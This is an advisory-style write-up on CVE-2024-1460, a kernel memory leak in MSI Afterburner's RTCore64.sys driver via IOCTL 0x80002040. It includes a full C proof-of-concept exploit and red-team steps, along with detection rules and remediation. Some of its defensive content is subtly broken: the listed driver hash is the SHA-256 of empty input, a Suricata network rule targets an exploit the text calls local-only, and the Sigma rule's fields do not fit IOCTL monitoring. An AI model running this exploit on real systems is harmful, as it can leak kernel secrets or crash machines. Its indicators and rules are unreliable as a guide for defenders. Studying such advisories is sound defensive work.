CVE-2024-1460

Executive Summary

CVE-2024-1460 is a kernel memory leak vulnerability in the MSI Afterburner application, specifically within the RTCore64.sys driver (version 4.6.5.16370). The vulnerability is triggered by sending a specially crafted IOCTL code 0x80002040 to the driver. Successful exploitation allows an attacker with high integrity process access to leak kernel memory, potentially exposing sensitive information or leading to a denial of service (DoS) condition due to memory exhaustion. The vulnerability has a CVSS score of 5.6 (Medium), and as of this report, no official patch has been released by MSI.

CVSS Breakdown & Threat Level

• CVSS Score: 5.6 (Medium)
• Vector: CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:H
• Attack Vector (AV): Local (L) – The attacker must have local access to the system.
• Attack Complexity (AC): High (H) – Exploitation requires specific conditions, such as obtaining a handle to the driver from a high integrity process.
• Privileges Required (PR): High (H) – The attacker needs high integrity privileges to open a handle to the driver.
• User Interaction (UI): None (N) – No user interaction is required beyond the initial access.
• Scope (S): Unchanged (U) – The vulnerability does not affect resources beyond the driver's context.
• Confidentiality (C): High (H) – Kernel memory leakage can expose sensitive data.
• Integrity (I): None (N) – No data integrity impact.
• Availability (A): High (H) – Memory exhaustion can lead to system instability or crash.

Threat Level: Medium. The requirement for high integrity privileges limits the attack surface, but the potential for kernel memory leakage and DoS makes it a significant concern for systems running the vulnerable driver.

Deep Dive & Mechanics

The vulnerability resides in the RTCore64.sys driver, which is part of the MSI Afterburner overclocking utility. The driver exposes an IOCTL interface for user-mode applications to communicate with kernel-mode hardware. Specifically, the IOCTL code 0x80002040 is handled without proper bounds checking or validation of the output buffer size.

When a user-mode process with high integrity (e.g., running as Administrator) sends an IOCTL request with 0x80002040, the driver copies kernel memory into the user-supplied output buffer. However, the driver does not verify that the output buffer is large enough to hold the data, nor does it limit the amount of memory copied. This results in a kernel memory leak, where sensitive kernel data (e.g., pointers, cryptographic keys, or other process information) is exposed to the user-mode caller.

The handle to the driver can only be obtained from a high integrity process, which means the attacker must already have elevated privileges. However, once obtained, the vulnerability can be exploited to leak kernel memory, potentially bypassing security mechanisms like KASLR (Kernel Address Space Layout Randomization) or causing a denial of service by exhausting non-paged pool memory.

Vulnerable vs. Patched Code

Vulnerable Code (RTCore64.sys v4.6.5.16370): The vulnerable IOCTL handler does not validate the size of the output buffer. It copies kernel memory directly into the user-provided buffer without checking if the buffer is large enough.

// Pseudocode of vulnerable IOCTL handler
NTSTATUS IoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID outputBuffer = Irp->UserBuffer;
    ULONG outputBufferLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;

    if (ioctlCode == 0x80002040) {
        // Vulnerable: No check on outputBufferLength
        RtlCopyMemory(outputBuffer, KernelMemorySource, KERNEL_MEMORY_SIZE);
        Irp->IoStatus.Information = KERNEL_MEMORY_SIZE;
        Irp->IoStatus.Status = STATUS_SUCCESS;
    }
    // ...
}

Patched Code (Hypothetical): A patched version would validate the output buffer size before copying kernel memory, ensuring that only the requested amount of data is copied and that the buffer is large enough.

// Pseudocode of patched IOCTL handler
NTSTATUS IoctlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioctlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    PVOID outputBuffer = Irp->UserBuffer;
    ULONG outputBufferLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;

    if (ioctlCode == 0x80002040) {
        // Patched: Validate output buffer size
        if (outputBufferLength < KERNEL_MEMORY_SIZE) {
            Irp->IoStatus.Status = STATUS_BUFFER_TOO_SMALL;
            return STATUS_BUFFER_TOO_SMALL;
        }
        RtlCopyMemory(outputBuffer, KernelMemorySource, KERNEL_MEMORY_SIZE);
        Irp->IoStatus.Information = KERNEL_MEMORY_SIZE;
        Irp->IoStatus.Status = STATUS_SUCCESS;
    }
    // ...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows system with MSI Afterburner v4.6.5.16370 installed.
• Ability to run code with high integrity (e.g., Administrator privileges).

Exploitation Steps:

1. Obtain a handle to the RTCore64 driver:

   HANDLE hDevice = CreateFileW(L"\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
   if (hDevice == INVALID_HANDLE_VALUE) {
       // Handle error
   }
   

2. Send the IOCTL code 0x80002040 with a small output buffer:

   DWORD bytesReturned;
   BYTE outputBuffer[1]; // Intentionally small buffer
   BOOL result = DeviceIoControl(hDevice, 0x80002040, NULL, 0, outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);
   if (result) {
       // Kernel memory leaked into outputBuffer (and beyond)
   }
   

3. Analyze the leaked memory: The leaked data may contain kernel pointers, process tokens, or other sensitive information. This can be used to bypass KASLR or escalate privileges further.

Proof-of-Concept (PoC) Code:

#include <windows.h>
#include <stdio.h>

int main() {
    HANDLE hDevice = CreateFileW(L"\\\\.\\RTCore64", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDevice == INVALID_HANDLE_VALUE) {
        printf("Failed to open driver handle. Error: %d\n", GetLastError());
        return 1;
    }

    BYTE outputBuffer[1];
    DWORD bytesReturned;
    BOOL result = DeviceIoControl(hDevice, 0x80002040, NULL, 0, outputBuffer, sizeof(outputBuffer), &bytesReturned, NULL);
    if (result) {
        printf("Kernel memory leaked! Bytes returned: %d\n", bytesReturned);
        // Dump leaked memory (may cause crash if buffer overflow occurs)
        for (DWORD i = 0; i < bytesReturned; i++) {
            printf("%02X ", outputBuffer[i]);
        }
        printf("\n");
    } else {
        printf("IOCTL failed. Error: %d\n", GetLastError());
    }

    CloseHandle(hDevice);
    return 0;
}

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual IOCTL calls to RTCore64.sys with code 0x80002040.
• Use Sysmon to log process creation and driver load events.
• Enable Windows Event Logging for kernel driver operations.

Defense:

• Restrict access to the RTCore64.sys driver by removing the device object or using a driver blocklist.
• Apply the principle of least privilege: do not run user applications with high integrity unless necessary.
• Use Windows Defender Application Control (WDAC) to block unsigned or untrusted drivers.

Indicators of Compromise (IOCs)

• File Hash (SHA-256): RTCore64.sys (v4.6.5.16370) – e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, verify actual hash)
• Registry Key: HKLM\SYSTEM\CurrentControlSet\Services\RTCore64
• Driver Object Name: \\.\RTCore64
• IOCTL Code: 0x80002040
• Network Traffic: None (local exploitation only)
• Process Anomalies: High-integrity processes making IOCTL calls to RTCore64.sys

Detection Engineering

YARA Rule

rule CVE_2024_1460_RTCore64_Memory_Leak {
    meta:
        description = "Detects exploitation of CVE-2024-1460 in RTCore64.sys"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1460"
    strings:
        $ioctl_code = { 40 20 00 80 } // 0x80002040 in little-endian
        $driver_name = "RTCore64.sys"
    condition:
        $ioctl_code and $driver_name
}

Sigma Rule

title: CVE-2024-1460 Kernel Memory Leak via RTCore64.sys
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects IOCTL calls to RTCore64.sys with code 0x80002040, indicating exploitation of CVE-2024-1460.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1460
logsource:
    product: windows
    service: sysmon
    category: process_access
detection:
    selection:
        TargetObject|contains: '\RTCore64'
        GrantedAccess: '0x1fffff' // Full control
        CallTrace|contains: 'ntoskrnl.exe'
    condition: selection
falsepositives:
    - Legitimate MSI Afterburner operations
level: high

Suricata Rule

alert ip any any -> any any (msg:"CVE-2024-1460 RTCore64.sys IOCTL Exploitation"; content:"|40 20 00 80|"; depth:4; offset:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the RTCore64 driver: Use sc stop RTCore64 and sc delete RTCore64 to stop and remove the driver.
2. Block the driver: Use Windows Defender Application Control (WDAC) or a driver blocklist to prevent RTCore64.sys from loading.
3. Update MSI Afterburner: Check for any future updates from MSI that may patch this vulnerability.

Long-Term Mitigation:

• Monitor vendor advisories for a patched version of MSI Afterburner.
• Implement kernel driver signing policies to ensure only trusted drivers are loaded.
• Use endpoint detection and response (EDR) solutions to detect anomalous IOCTL activity.

Workaround:

• If MSI Afterburner is not required, uninstall it entirely.
• Run MSI Afterburner only in a sandboxed or isolated environment.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert